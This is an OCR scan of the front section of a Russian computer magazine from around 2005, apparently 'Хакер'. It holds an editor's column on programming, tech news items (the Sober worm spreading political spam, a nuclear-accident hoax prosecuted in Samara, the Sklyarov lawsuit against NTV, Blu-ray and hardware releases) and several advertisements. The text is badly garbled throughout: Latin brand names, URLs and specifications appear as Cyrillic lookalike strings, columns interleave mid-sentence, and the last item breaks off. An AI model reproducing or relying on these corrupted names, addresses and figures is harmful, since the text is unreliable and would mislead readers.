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[КОДИНГ] Охота на ведьм ' 
[ВЗЛОМ] Ломаем играючи 
Через ѴѴеЬ на Марс! 

[8ТІСКЕП8 ІЫ8ІОЕ] 



[ЮНИТЫ] Выдвигайся в клубы! 
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ХАКЕРЫ, ВИРУСЫ 
И ЧЕРВИ 




ПОЛУЧАТ БЫаРЫЙ 
и РЕШИТЕЛЬНЫЙ ОТПОР 
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Получите на тісго5оТТ.сот/Ки5/5есигіІу/СиісІапсе инструменты и инструкции, 
необходимые для обеспечения надежной защиты вашей сети. 



► Загрузите бесплатный пакет обновления Місгозоі^® ѴѴіпсІоѵѵз® 
ХР Бегѵісе Раск 2 и оцените последние улучшения, позволяюидие 
значительно повысить контроль над операционной системой 
и обеспечиваюідие ее надежную защиту. 

Бесплатные обновления и инструменты безопасности. 

Скачайте бесплатный МісгозоЙ Вазеііпе Зесигііу Апаіуіег 
и проверьте, обеспечивает ли конфигурация вашей системы 
максимальный уровень безопасности. Удобное обновление 
с помощью программы ѴѴіпсІоѵѵз 5егѵег™ Урсіа1:е Бегѵісез. 



► Бесплатный ѴѴеЬ-инструмент Місгозо^і Кізк Аззеззтепі ТооІ 

поможет вам самостоятельно оценить уровень информационной 
безопасности вашей организации и определить области, нуж- 
дающиеся в усовершенствовании. 

► Іп№гпе1 Зесигі'іу & Ассеіегабоп 5егѵег 2004: Получите бесплатную 
ознакомительную версию ( 1 20 дней), и вы увидите, насколько 
использование брандмауэра, ѴРМ и других программных реше- 
ний увеличивает безопасность и производительность вашей сети. 



© 2004 Місгозоі^і: Согрогаііоп. Все права защищены. Владельцем товарных знаков Місгозоі'і:, ѴѴіпсІоѵѵз, 
ѴѴіпсІоѵѵз Бегѵег, зарегистрированных на территории США и/или других аран, и владельцем авторских 
прав на их дизайн является корпорация Місгозоі"! 
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Программисты и хардкор 

Все мы когда-то начинали програм- 
мировать. Кто-то начинал и заканчи- 
вал движением черепашки в 
ІодоѴѴг'е на уроках информатики, 
кто-то шел дальше: изучал Паскаль, 
пугал преподавателей информати- 
ки блинкающими надписями и нахо- 
дящейся в коматозе из-за авторской 
работы с ЗеІІпІѴес и Іпі 90 клавой. 
Все мы читали кних<ки про С. Потом 



переходили на кодинг под ѴѴІп — изу- 
чали С Виіісіег и ОеІрОІ. Кое-кто (вроде 
меня :), хотя я и имею представление 
об асме благодаря Питеру Абелю 
лично) так и остался высокоуровне- 
вым программистом, кто-то спускался 
ни>ке, в объятия товарища Ассембле- 
ра, а потом и машинных кодов. Нынче 
ассемблер незаслуженно позабыт, 
мало кто помнит Іпіеггирі Узі Ральфа 
Брауна и изучает формат заголовка 
РЕ-файла. Забыли люди язык, на кото- 
ром говорит их машина, предпочитая 



беседовать с ней через корявый пе- 
реводчик компилятора. Народ изучает 
РНР и Перл, ищет нехитрые уязвимости 
в каких-то сценариях... Нет, я не гово- 
рю, что это плохо :). Просто сегодня 
мы решили отдаться хардкору. Поэто- 
му перелистывай страницы в сторону 
моего любимого «Кодинга» и изучай 
хитрую работу с ВІОЗом от Криса и по- 
иск 'вредоносного ПО от товарища 
Данило., , тьфу, Горлума. Не забыв, ко- 
нечно, прочитать и все остальное :). 

АЛЕКСАНДР ЛОЗОВСКИЙ, ВЫПУСКАЮЩИЙ РЕДАКТОР 
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НЕТ САЙТА? 
ПОЖАЛУЙТЕ В СУД 

Ты, наверное, думаешь, что российскому правительству чихать на 
твои информационные потребности? На самом деле это не совсем 
так — в феврале 2003 года оно даже ввело постановление, соглас- 
но которому все госструктуры обязаны иметь официальный сайт, 
где дана вся инфа об их работе и другие соответствующие сведе- 
ния. За соблюдением этого правила следит Институт развития сво- 
боды информации, с момента своего создания активно борющийся 
за информационные права людей. Думаешь, все конторы ринулись 
сразу выполнять указание сверху? Как бы не так! Из 83 правитель- 
ственных ведомств 14 даже ухом не повели, а большинство держат 
паги лишь для галочки, никак их не поддерживая, В конце концов, ус- 
тав посылать предупре>кдения. Институт подал на госструіауры в 
суд, обвиняя их в бездействии. Мол, это наносит ущерб интересам 
гра>кдан, лишая их необходимой 
информации. Да и вообще, зако- 
ны не просто так пишутся, из- 
вольте соблюдать. На момент вы- 
хода журнала суд уже состоял- 
ся и результат несложно предс- 
казать; тем, кто еще не представ- 
лен в Сети, предстоит слепить 
сайт в кратчайшие сроки, тем, 
чей сайт пахнет липой, — напол- 
нить его полезной инфой, а всем 
остальным иметь в виду — Инсти- 
тут не дремлет. 



ИНТЕРНЕТ- 
МАГИСТРАЛИ 
ЧЕРЕЗ ГАЗОПРОВОД 

Прошли времена интернет-мо- 
нополии, когда цены на подк- 
лючение были космическими и 
не было разнообразия выбора. 

Теперь у тебя есть куча вариан- 
тов, от банального модема до 
АОЗІ и оптоволокна. Но найдя 
быстрые способы передачи 
инфы, ученые не останавлива- 
ются на достигнутом и выдают 
новые открытия. Одним из таких 
открытий стал способ подключения к интернету по газопроводу. 
Представь себе: твой модем впаян в плитку, а скачиваемая порну- 
ха несется по ржавым трубам. И не просто несется, а со ско- 
ростью 40-100 Мбит/с. Технологию разработала американская 
компания МеІТіегсотт и уже сейчас ведет переговоры с властя- 
ми США о массовом подключении пользователей. Газопровод- 
ный инет не только самый быстрый, но и один из самых дешевых 
(цена пользования не превышает стоимости АОЗТ). Ведь прокла- 
дывать кабель нет необходимости — газопровод проведен в каж- 
дую квартиру. Нужен только специальный модем, который подк- 
лючается непосредственно к трубе. Единственной проблемой по- 
ка является вопрос безопасности. Ведь газопровод — это взрыво- 
опасная среда, и если модем коротнет — инет ты будешь юзать 
уже на небесах. 



ІМЕѴѴЗ'Ѵ- 



СПАМЕРЫ- 

НАЦИОНАЛИСТЫ 

Уверен, каждый день тебе приходится выгребать из электронного 
ящика не одно письмо с предложением увеличить пенис, подучить 
американский английский или купить хай-эндовый телефон за $10. 
Спам сейчас — лучший друг мошенников и сомнительных бизнес- 
менов. Но в последнее время становится ясно, что только этой ка- 
тегорией дело не ограничивается. Меньше месяца назад в инете 
начался наплыв писем, содержащих немецко-фашистские призы- 
вы и другие политические воззвания, В строке «зиЬіесГ» находилась 
фраза на немецком языке: «мультиструктура = мультикриминал», а 
в теле письма — ссылки на немецкие ресурсы. Такое сообщение 
получили десятки миллионов пользователей. Как определили экс- 
перты, виновником стал новый вариант червячка ЗоЬег, быстро 
проникающий на компьютеры и создающий на них удобную плат- 
форму для рассылки спама. Запуск его произошел как раз в 60-ю 
годовщину окончания Второй мировой войны, и эпидемия быстро 
распространилась по всей Сети. Очевидно, что перед атакой на 
почтовые ящики авторы хорошо подготовились. Так что не удивляй- 
ся, если в ближайшем будущем, наряду с коммерческим и афер- 
ным спамом, ты утонешь в политических бреднях 









\л/\л/\л/.азиз. ги 



НЕАКТ ОР ТЕСНМОЮѲУ 



^Весь Мир 

у Вас в Кармане 



Первый КПК со Встроенной 1.3-Мегапиксельной Цифровой Камерой 





Пора забыть 
о комаыотара, 
цофровой камора, 

МРЗ ппвера 
а диктофоне "" 

А8ПЗ т'\7Л^А75Iі)» 
заменит нее зто. 







Роскеі РС 


■ Встроенная цифровая камера Производительность 

Н с разрешением 1.3 мегапикселя и возможности расширения 

•Первая встроенная камера с разрешением 1.3 - модель оснащена новейшим процессором Іпіеі РХА270 


□ 

Е 


мегапикселя с функциями видеокамеры! - поддержка технологии ВІиеІооІЬ, иЗВ 

•Трансфлективный ТРТ ЖК-дисплей 3.7" в качестве и слот расширения СР/ЗОЮ 

видоискателя - гораздо больше, чем у любой камеры 


Первый КПК со Встроенной 
І.З-Мегапнксепьной Цифровой Камерой 


Большой ѴСА-дисплей 
с высоким разрешением 

•ѴЗА-дисплей 3.7" с разрешением 640x480 прекрасно подходит 
для работы с графическими и видео-приложениями 

-Функция разворота экрана на 90° позволяет более комфортно Гарантия 1 год 

работать с документами и в Интернете Служба технической поддержки а8и8@ггс.ги 







РРС Тел: (095) 956-1717, 133-5320; Факс: (095) 1 33-5230; ѴѴеЬ: ѵѵѵѵѵѵ. ггс. ги 
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][МЕѴѴ5 ▼ 



НІТЕСНМЕѴѴЗЖ 



МІСК080РТ 
ЗАПУСКАЕТ НОВЫЙ 
СЕКУРИТИ-СЕРВИС 



ТАРАКАНЬЯ УПРЯЖКА 

Зверского биоробота собрал Гарнет Херц из Университета 
Калифорнии (ттш.сопсер'ИаЬ.сот/сопігоІ). В мозговом цент- 
ре конструкции под стальным колпаком на шарике от пинг- 
понга с надписью «Моде ин чина» сидит гигантский мадагас- 



Корпорация Місгозой объявила о создании нового сервиса, нап- 
равленного на увеличение безопасности своих ОС. Называется 
он МісгоБоН" ЗесигИ'у Асіѵізогіез (МЗА) и служит для предоставления 
консультаций по поводу последних \л/іп-уязвимостей. Если ты рабо- 
таешь админом в какой-нибудь фирме и узнал о новой баге в вин- 
де, тебе наверняка захочется ее прикрыть. Но патч, возможно, по- 
явится только через несколько дней, все это время оставляя неза- 
щищенной сеть компании. В этом случае ты можешь обратиться в 
МЗА, где тебе дадут предварительные наработки, и с их помощью 
ты сможешь обезопасить систему. Конечно, разобраться в них и 
правильно использовать сможет только опытный админ. А если ты 
предпочитаешь латать винду по 
старинке, запустив экзешник, — 
тогда жди патча. Сообщения от 
МЗА будут выходить в стандарт- 
ном формате зесигі+у-бюллете- 
ней, обычно тогда, когда най- 
денный баг расценивается как 
важный или критический. 

Майский бюллетень от МЗА со- 
держит сведения о дефолтных 
настройках ѴѴІпсІо\л/з Мебіа РІауег, 
которые дают возможность взлом- 
щику открывать веб-паги без ведо- 
ма юзера, а таіоке напоминание 
о появлении поддержки Іаг ріі" в 
\Л/іпбо\л/з 2003 ЗМТР Зегѵег. 



> . 



5ЕС0РІТѴ 



АВТОР, ВЫПЕЙ ЙОДУ! 




Все люди шутят по-разному. Кто-то подкладывает кнопку на стул учи- 
тельницы. Кто-то пишет на стенах «ХХХХ-ХХ-ХХ, Минет. Дешево и каче- 
ственно. Спросить Машу», Сережа Улитин из Самары пошутил по- 
своему. Прикола ради парень разместил в инете инфу, что на Бала- 
ковской АЭС произошла авария, радиоактивные вещества попали в 
воздух и теперь нездоровое облако растекается по Ульяновской, Са- 
ратовской и Самарской областям. Несмотря на то что подтвержде- 
ния инцидента от официальных источников не было, народ клюнул, и 
весть быстро разошлась по русской земле, сея страх и панику. Лю- 
ди килограммами скупали в аптеках йод, чтобы как-то отсрочить чу- 
довищные мутации. Некоторые даже оказались в больнице с диагно- 
зом «йодистая передозировка». Когда стало известно, что это липа и 
что автор — Сережа, милиция наведалась к нему в гости, В УК РФ есть 
статья под названием «Заведомо ложное сообщение о террористи- 
ческом акте», именно по этой статье на шутника было заведено уго- 
ловное дело. «Нехорошо людей обманывать», — сердился прокурор. 
Но парнишка злого умысла не имел и чистосердечно раскаялся. 
«Простите, люди добрые, больше не буду». Судью это растрогало, и, 
так как серьезных последствий утка не принесла, Улитина отпустили 
с Богом. Работники АЭС сообщили, что действительно имела место 
неполадка, после которой сработала аварийная защита. Но ничего 
страшного не произошло, и об утечке речь не идет. Скорее всего, 
Сергей даже не знал об этом. Сн просто хотел пошутить. 



карский таракан. Шарик представляет собой модифициро- 
ванный трекбол. Когда прусак перебирает лапами, шарик 
вращается. Электрические сигналы поступают на сервопри- 
воды, задающие направление движения большой тележки. 
Если сенсор регистрирует препятствие на пути, таракан ви- 
дит яркую вспышку света и бросается назад. Интересно, что в 
системе нет ни одного компьютера-микроконтроллера. Вся 
электроника состоит из двух оптических кодеров, четырех 
аналоговых инфракрасных сенсоров, шести транзисторов, 
двух микрочипов-хронометров и нескольких резисторов. Раз- 
махивающим флагом «Гринписа» автор сообщает, что прусак 
находится в кресле водителя не больше 10-20 минут, чувствует 
себя великолепно и, судя по отсутствию зловредного шипе- 
ния, получает удовольствие от поездок. 




ИНТЕРАКТИВНАЯ 

ОТБИВНАЯ 




Студент Университета штата Нью-Йорк Чиа Вей Чанг разрабо- 
тал интерактивное меню для ресторанов будущего. Система 
МепиѴІБІ'а (ттт.зеѳіі'пу.сот) дает прикольную возможность 
самому сделать заказ прямо за столиком. С подвешенного у 
потолка проектора меню с фотографическим качеством изоб- 
ражения проецируется на тейбл. Делая заказ пальцем на 
столешнице — для этого под крышкой стола размещены сен- 
соры СРгох — посетитель ресторана в реальном времени 
наблюдает формирование блюда на собственной тарелке. 
Клик — и сочная отбивная примостилась рядом с нежным лис- 
тиком салата-латука. Каждое блюдо сопровождается под- 
робной информацией о размере порции и числе калорий. 
Диаметр тарелки, кстати, тоже можно выбирать. Если у тебя 
потекли слюнки, сообщаем, что это уже не концепт, а полно- 
функциональная конструкция, представленная на выставке 
хай-тека МУЕІ ІТР Зргіпд 2005. 






НІТЕСНМЕѴѴЗ ▼ 



НАРОМЕѴѴЗ ▼ 



ВИРТУАЛЬНЫЙ 

КОКТЕЙЛЬ 




в токийском Университете электрокоммуникаций сконструирова- 
ли хай-тек стакан для кактейлей. Взять в рат эту соломинку отважат- 
ся только самые настоящие гики, Посасывание несуществующей 
жидкости сопровокдается напряженной работой динамиков, де- 
сятков сенсоров и вибрирующих устройств. Достаточно поднести 
соломинку ко рту — система все сделает за тебя сама. Специаль- 
ный клапан изменяет давление и передает вибрацию на губы. Раз- 
дается записанный заранее звук втягиваемой жидкости, который 
сопрово>кдается записью с микрофона во рту — уже настоящей. 
При этом содержание стакана можно варьировать от «Маргариты» 
до бабушкиного киселя. Желающим предлагают сыграть в игру. 
Нужно бегать со стаканом вокруг стола и отбирать фрукты у семей- 
ки ушастых ежиков, семенящих по ІСО-экрану, 



N 
О 
О 

Работники компа- з 
НИИ с вычурным наз- ^ 
ванием ЗаррНіге вы- і 
пустили недавно 
пресс-релиз, в ко- 
тором сообщили ра- 
достную весть о вы- 
ходе на рынок но- 
вой видеокарты 
X800X^ иштаіе АѲР, 
Новинка оборудова- 
на четвертью гига- 
байта памяти, подк- 
лючается к шине 
А0Р, ктомуженанее 
установлен хайтеч- 
ный малошумный 
кулер иіТІМАТЕ, В 
новинке реализо- 
вана целая куча 
современных технологий; ЗМАРТЗНАОЕР, ЗМООТНѴІЗІОМ, 30с, 
ЗМАРТЗНАОЕР, ѴІОЕОЗНАОЕР и НУРЕР 2, Все это обеспечивает 
аппаратную поддержку пиксельных и вершинных шейдеров 
МісгозоЕІ' ОІгесЕХ 9,0, ОрепѲЕ, позволяет аппаратно сглаживать 
изабражения, производить четырехкратное сжатие текстур 
без потери качества и аптимизировать качество и скорость 
работы видеоадаптера, аппаратно реализуя многие графи- 
ческие задачи. Что касается остальных характеристик, то пла- 
та устанавливается в разъем шины АѲР, поддерживает режи- 
мы 4х и 8х, использует память 256МВ ѲООРЗ с 256-битным четы- 
рехканальным интерфейсом, а также абладает разъемами 
ОѴІ, одним сІ-ЗиЬ и ТѴ-оиЕ, 




САПФИРОВАЯ 

ВИДЕОПЛАТА 



ЗАЖИГАЛКА ПОЧТОЙ 

в американских аэ- 
ропортах появились 
автоматизирован- 
ные киоски для ма- 
леньких «террорис- 
тов», в современной 
обстановке службы 
безопасности не 
дремлют, выцежи- 
вая из карманов и 
сумочек пассажи- 
ров пилки для ног- 
тей, перочинные но- 
жи З\л/І35 Агту, зажи- 
галки и другие по- 
дозрительные пред- 
меты, Можно оста- 
вить их в камере хра- 
нения и забрать на 
обратнай дароге. 
Но если даже вре- 
менное расстава- 
ние с любимой 2ірро для тебя является невосполнимой утратой, 
сервис РеЕигпКеу будет как нельзя кстати. Киоск похож на банко- 
мат, Первым делам нужно ввести на сенсорном экране почтовые 
адреса — свой и получателя. Информация пройдет сверку с на- 
циональной базой данных. Если адрес не существует, стправле- 
ние быстренько завернут. Далее нужно честно сообщить о содер- 
жимом для проверки по списку предметов, запрещенных к пере- 
сылке, На последнем этапе, перед тем как принять отправление, 
агрегат щелкнет тебя для истории и попросит кредитную карту. 
Наконец посылку можно опустить в специальную камеру, откуда 
она отправится по месту назначения. Если повезет, твоя Зрро по- 
летит тем же рейсом и, пока ты доберешься до гостиницы, будет 
ждать тебя у портье. 
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НІТЕСНМЕѴѴ5Ж 



НАРОМЕѴѴЗ Ж 



БАРОМЕТР 

НАСТРОЕНИЯ 




Новое устройство для проявления чувств на расстоянии предста- 
вил концептуальный дизайнер Морисио Мело. На конструкции из 
плексигласа нарисованы четыре эмотикона, изображающие 
улыбку, печаль, скуку и злобу. Девайсы нужно устанавливать в па- 
рах. Один — дома у милой сердцу подруги. Другой — на рабо- 
чем столе. После того как оба устройства будут включены в сеть, 
начинается самое интересное. Жмешь иконку по настроению, и 
смайл на расстоянии приходит в соответствие с твоим выбором. 
Приноровившись, можно слать сообщения азбукой Морзе. В слу- 
чае когда установлено только одно устройство, барометр наст- 
роения можно программировать через веб-интерфейс или с со- 
тового через \Л/АР, 



А^8^ И ГОЛУБИ 



Группа пользователей интернета 
эксперимент. Они собрались на 
тили трех почтовых голубей. Пе- 
ред этим к каждой птице привя- 
зали пакет из забитых под за- 
вязку 20-22 флеш-карточек па- 
мяти разного формата — в об- 
щей сложности 1,3 Гб данных. 
Через 2,5-4 часа все три голубя 
вернулись в родную обитель за 
100 км. Таким образом, новояв- 
ленная сеть ѴѴІ-ГІу показала 
пропускную способность до 
160 Кб/с, что в отдельных случа- 
ях превосходит характеристи- 
ки исходящего канала А05Г. 
Последнее обстоятельство ста- 
ло предметом особой гордости 
счастливых участников этого 
мероприятия. 



из Израиля провела необычный 
берегу Мертвого моря и выпус- 




ШОУ НАЧИНАЕТСЯ 

Студентка британского университета Джиллиан Свои 
представила концептуальные туфли, побуждающие людей 
больше двигаться. Специальная подошва непрерывно реги- 
стрирует активность владельца и трансформирует набран- 
ные за день очки во время, которое можно провести за теле- 
визором. Общее число шагов и прыжков известно благодаря 
встроенной в подошву кнопке. Дневная норма активности 
составляет 12 000 шагов для девушек и 15 000 для парней. За 
выполненный норматив полагаются два часа у телека. По 
истечении заработанного времени телевизор автоматичес- 
ки отключается. 



ВЛАГОНЕПРОНИЦАЕ- 
МЫЙ НИКОН 

Улучшенную версию цифровика СООГРІХ 31 во влагонепро- 
ницаемом корпусе представили недавно менеджеры компа- 
нии Мікоп в Великобритании. Новинка — СООГРІХ 32 — осна- 
щена 5,1-мегапиксельной матрицей и оптикой 2оот-Мікког 
ЕО. Этот объектив обеспечивает трехкратное оптическое 
приближение, причем фокусное расстояние составляет в 
35-миллиметровом эквиваленте 35 - 105 мм. Что касается воз- 
можностей этой малышки, то следует выделить следующее. 
Мне понравилась технология ВІиг ѴѴагпіпд, которая предуп- 
реждает фотографа о том, что кадр, возможно, получится 
размытым. Скажем, когда дрожат руки, а хочется снять ноч- 
ной пейзаж на большой выдержке. Это пригодится лохам в 
фотосъемке вроде меня. Также камера при помощи функции 
0-ГідГіГіпд позволяет устранять последствия неудачного ос- 
вещения, вроде яркого фонового света, когда объект съемки 
находится в тени. 32 обладает способностью автоматичес- 
кой фокусировки с приоритетом лица, что часто бывает по- 
лезно при съемке портретов. Приведу подробную специфи- 
кацию новой камеры Мікоп СООГРІХ 32: 

Сенсорная матрица; 1/2,5" ПЗС-матрица с 5,36 млн, элементов 

(из них 5,1 млн, эффективных) 

Оптика: объектив Зх 2оот-Мікког ЕО; фокусное расстояние 5,8 - 
1 7,4 мм (35 -105ммна35мм эквиваленте; апертура 1/3,0 - 5,4; 1 2 

элементов в 10 группах 

Четырехкратный цифровой зум 

Размеры: 91,9x59x22 мм, вес без аккумулятора и карты памяти 

— 140 г 

16 режимов работы, четыре из них с поддержкой Зсепе АззізГ 

(РогІгаіГ, Мідіпі Рогігаіі, Зрогіз, Гапсізсаре) 

Функция ВЗЗ (Везі ЗГюГ ЗеІесГог); автоматическое определение 

лучшей экспозиции при съемке серии из 10 кадров 

Три режима записи видео (640x480® 151рз, 320x240® 151рз, 

160x1 20® 151рз), со звуком, режим Тіте-Гарзе (без звука) 

Шумоподавление (Моізе Ресіисііоп) 

Встроенные часы с установкой временного пояса 

Встроенная память: 12 Мб 

Носитель: Зесиге РідіГаІ 

Интерфейс: ПЗВ (с использованием дока СООГ-ЗТАТІОМ МѴ-12, 

поставляется в комплекте) 

Автофокусировка: однократная, постоянная (в режиме записи 

видео) 

Баланс белого: автоматический с ТТГ-контролем, 5 предустанов- 
ленных режимов настройки (ОауІІдГіІ, Іпсапсіезсепі, ЕІиогезсепГ, 

СІоисІу и ЗреесІІІдІпІ) 

Встроенная вспышка: автоматическая, РесІ-еуе Ресіисііоп, 
Апуііте ІІазІп, РІазіп сапсеі и ЗІо\л/ зупс 









Наслаждайся 

разнообразием! 



Экосистема кораллового рифа является наиболее • 
разнообразной и сложно устроенной во всей биосфере. 
Коралловые рифы служат домом для многочисле нных 
видов рыб, крабов, моллюсков, червей, губоди 
водорослей, обеспечивая их пиіщей и убежищем. 

Хотя коралювые рифы занимают менее 
площади океанского дна, в их биоценозах 
обнаружена четверть всех известных 
животных и растений океана. 



К-8іуІе^ Ргохіта" МС-е 

на базе процессора Ітеі® Репііит® 4 560 с технологией НТ 



й 






Разнообразие возможностей для отдыха, развлечений и самообразования 
дает развлекательный центр К-8іу1е® Ргохіта® МС-е. 

Благодаря мощным процессорам Іпіеі® Региіит® 4 5б0 с технологией НТ, 
он заменит Вам музыкальный центр, ОѴВ-рекодер и компьютер. 



Краткие технические характеристики: 

Процессор Ітеі® Репііит® 4 560 с технологией ПТ 

Операционная система: МісгозоП® Ѵіпс1о\ѵ5® ХР МеШа Сешег Ейіііоп 2005 

Звук: поддержка стандарта ОоІЬу Оі§ііа1 7.1 (до 8 каналов) 

ТѴ-тюнер: РА1/5ЕСАМ 

Пульт дистанционного управления 

Комплект беспроводных устройств: клавиатура, манипулятор <-мышь» 



Система качества проектирования, разработки и производства компании 
Р1-81у1е Сотриіегз сертифицирована по международному стандарту 180 9001-2000. 

Астрахань ТАН (8512) 394-254 Братск Байт (395-3) 411-121 Владивосток Эр-Стайл ДВ (4232) 205-410 
Воронеж Элмар Трейд (0732) 512-018 Екатеринбург В-ЗіуІе (3432) 616-086 Калининград Балтик 
Стайл (011) 254-11-98 Кемерово Конкорд ПРО (3842) 357-888 Краснодар ВСС Сотрапу (8612) 
640-450 Красноярск ЛанСервис (3912) 75-12-91/92/93 Москва Р-ЗіуІе Тгасііпд (095) 514-14-14, 
Компания В-ЗІуІе (095) 514-14-10, Профит-М (095) 786-77-37, Сибкон (095) 292-50-12 Нижний 
Новгород Эр-Стайл Волга (8312) 464-328, 461-622 Новосибирск Эр-Стайл Сибирь (383-2) 661-167 
Пермь Эр-Стайл Кама (3422) 107-445 Петрозаводск Илвес (8142) 762-288 Петропавловск- 
Камчатский АМН (4152) 1 68-751 Ростов-на-Дону Эр-Стайл Дон (863) 252-48-13 Санкт-Петербург 
Эр-Стайл СПБ (812) 445-34-1 8/1 7 Тамбов Гитон (0752) 719-754 Тула ПитерСофт-НТ (0872) 355-500 
Уфа Онлайн (3472) 248-228 Хабаровск Эр-Стайл ДВ регион (4212) 314-530 Якутск Эльф (4112) 457-333 



шК*8^1е 

СОМРУТЕРЗ 



Оптовые поставки: ООО «Эр-Эс-Ай»: тел.: (095) 514-1419 
ѵѵѵѵѵѵ.гві.ги 

Техническая поддержка: ЗАО «Эр-Стайл Компьютере»: 
тел.: (095) 514-1417; бесплатный телефон: 8-800-200-800-7 
ѵѵѵѵѵѵ.г-віуіе-сотриіегв.ги 

Сделано в России. Сделано на совесть! 



Іпіеі, Іпіеі Іо^о, Іпіеі Іпвісіе, Іпіе! Іпзісіе 1о§о, Іп(е1 Сепігіпо, Іпіеі Сепігіпо Іо^о, Сеіегоп, Іпіеі Хеоп, Ітеі 5реес15іер, Ііапіит, Репгішп, апсі Репііит III Хеоп аге ігас1етагк5 ог ге8І$іегесі Ігас1етагк5 оі Іпіеі Согрогаііоп ог іі5 зиЬхісІіагіех іп (Ье ЛпНесІ 5іаіс5 апсі оіЬег соип(гіе5. 



]ІЫЕ\Л/$ ▼ 



НАР0МЕ\Л/3^ 



^ СООС^Е 

о ДЛЯ ПРОГРАММЕРОВ 




Если ты программер до мозга костей и часто сталкиваешься с 
проблемой поиска нужных кусков кода, могу тебя поздравить. В 
Сети появился поисковик, с помощью которого ты сможешь 
быстро находить нужные фрагменты и алторитмы в агромном 
скоплении исходников разных программ. Авторы над названием 
далго толаву не ламали и окрестили свое детище просто: Косіегз 
(косіегз.сот). База данных проекта содержит около 200 миллио- 
нов строк кода, написанных на 30 различных языках. Рагітап, Еізр, 
АззетЫег, С++, Заѵа, РНР, ѴВ.МеЕ. . . есть даже древний язык Аба. 
Исхадники представлены из программ, котарые распространя- 
ются псд опенсорными лицензиями: ѲРІ, ВЗО, ОЗЕ, МРИО и др. 
Поиск реализован очень удобно — результаты даются в виде 
списка фрагментов кода, там же ты найдешь названия прог- 
рамм, общее количество строк кода в каткдой, время создания 
и другую полезную информацию. Вбив в поле поиска фразу 
«ОеІІо \л/ог1б» и выбрав язык Еізр, я тут же получил подробный ис- 
ходник Еізр-программы, печатающей на экране известную фра- 
зу. Кобегз.сот будет развиваться и дальше, и если ты прсграм- 
мер, твой святой долг занести этот сайт в закладки. 



СКЛЯРОВ ПРОТИВ НТВ 

Все знают о деле 
Дмитрия Склярова, 
которага арестова- 
ли в Аас-Вегасе в 
2001 году по обвине- 
нию в нарушении 
закона об авторс- 
ких правах ОМСА. 
Мы также знаем, что 
на сторону Скляро- 
ва встала вся интер- 
нет-обществен- 
ность и в кснце кон- 
цсв с него сняли об- 
винения и отпустили 
домой. А ответчиком 
по иску АбоЬе выс- 
тупила ЕІсатзоЕЕ, 
где Дима рабатал 
(этот иск также был 
отклонен). Однако 
немногие знают, что 
случилось дальше. 
Вскоре после того, 
как Склярава приняли американские капы, ЕІТВ показала серию 
сюжетов о нем, где речь шла об обыске в квартире программис- 
та и якобы найденных там документах сомнительного происхож- 
дения. Спецкоры НТВ приплели детали, которых на самом деле 
не было. Дима, возвратившись на радину и просмотрев это 
безобразие, не растерялся и подал на телеканал судебный 
иск «О защите чести, достоинства и деловай репутации». 
Рассмотрев дело (длилось это много месяцев), суд прину- 
л дил НТВ выступить с опровержением и компенсировать мо- 
° ральный ущерб Склярову суммой в 50 тысяч рублей. НТВ с 
К таким решением не сотласилось, и телевизианщики подали 
§ апелляцию. Результаты ее стали известны недавне — окруж- 
ной суд отклонил протест, так что теперь НТВшникам не ос- 
< тается ничего, кроме как поделиться с русским програм- 
“ мистом деньгами. 




ПЕРЕХОДНИК ДЛЯ 
ЭКСПРЕССА 

На рынке системных плат настаящий наплыв материнок с поддерж- 
кой шины РСІ Ехргезз. Здорово, что новая технология начала прижи- 
ваться, однако, как это часто бывает, перед пользователями встала 
проблема : предположим, есть у чувака графическая плата для АѲР и 
совершенно нет желания выкидывать ее на помойку, отдавая допол- 
нительный лавандос за новую видюху. Как же быть? Ответ на этат воп- 
рос дали инженеры фирмы АІЬаЕгоп недавним релизом переходника 
АТОР (АѲР-Ео-РСІ Ехргезз). Эта плата позволяет использовать АСР 8х 
графический адаптер в системной плате с поддержкой РСІ Ехргезз. 
Так что теперь с покупкой новой платы совсем не обязательно раско- 
шеливаться и на видюху: стоит только купить этот переходник за 20 
грин, и старая АСР-видюха в адин момент подключится к РСІ Ехргезз'у. 



100 ГБ НА ДИСКЕ 
В^^-КАУ 

Н Максимальную скорость записи на диски 
Ыи-гау удвоили специалисты фирмы ТОК, 
представив на проходящей в Токио выставке 
новый прототип голубого луча, каторый под- 
держивает запись на скорости 72 Мбит/сек. 
Этот результат был достигнут благодаря ис- 
пользованию более мощного лазера и каче- 
ственного светочувствительного слоя, на ко- 
торам хранится информация. Следует атме- 
тить, что даже самое первое поколение голубых дисков обеспечи- 
вает огромную скорость записи, которая превосходит необходи- 
мую для работы с телевизионной картинкой высокого качества. Это 
означает, что повышение скорости будет в первую очередь полез- 
но для ускорения операций резервното капирования и архивиро- 
вания. В самом деле, создавать бэкап со скоростью почти 10 мега- 
байт в секунду — об этом можно только мечтать! 

ВІи-гау ЭІзс АззосіаЕіоп еще в прашлом году выпустила стандарты для 
двухскоростных версий дисков ВЭ-І? (только для записи) и ВЭ-І?Е (пе- 
резаписываемый), поэтому ТЭК уже вовсю производит диски объе- 
мом 25 и 50 Гб. Однако недавно инженерам удалось удвоить емкость 
дисков, добавив даполнительные несущие слои. В итоге их общее 
число достигло четырех, при этом каждый слой голубого диска мо- 
жет хранить 25 Гб. Суммарный объем информации, которую можно 
записать на навый диск, ссставляет 100 Гб. К сожалению, четырехс- 
лойные диски пока не стандартизированы, но специалисты ТЭК уже 
внесли ссответствующее предлежение в ВІи-гау ЭІзс АззосІаТІоп. 
Довольно занимателен тот факт, что, объявив о выходе нового 
диска, ТЭК в очередной раз уделала фирму ТазЕііЬа, которая за- 
нимается развитием конкурирующего формата НЭ-ЭѴЭ и предс- 
тавила недавно 45 Гб диск. Думается, Ыи-гау в этой тонке форма- 
тов выглядит предпочтительнее. 



ВИНИЛОВЫЙ со - 

БАБУШКЕ 

ПОНРАВИТСЯ! 

Известный российский производитель СЭ-болванок компания МІгех 
запускает в праизводство новую линейку своих д исков с названием СЭ- 
I? МАЕЗТІТО и новым покрытием типа ѴѴМІЕ. Состав этага крутого 
покрытия был разработан в собственныхлабараториях М11?ЕХ, и внешне 
оно очень здорово напоминает виниловые аудиодиски, популярные 
несколько десятилетий назад. Сановная фишка таких дисков, помимо 
стильного дизайна, — двойная, усиленная защита информационного 
слоя. Так что если такой диск потереть о грязные штаны, а потам намыть 
с мыльцем, та ничего страшного с данными не случится. Нсвые диски 
специальна создавались для записи музыки в различных форматах 
(СЭ-ЭА, МРЗ), и, как считают менеджеры компании, стильный дизайн 
дисков приживется среди любителей качественной музыки. 






НАРОЫЕѴѴЗЖ 




различных 



Ш общения о том, 

что начались про- 
дажи мультиме- 
дийного коммуни- 

ковина, которая 
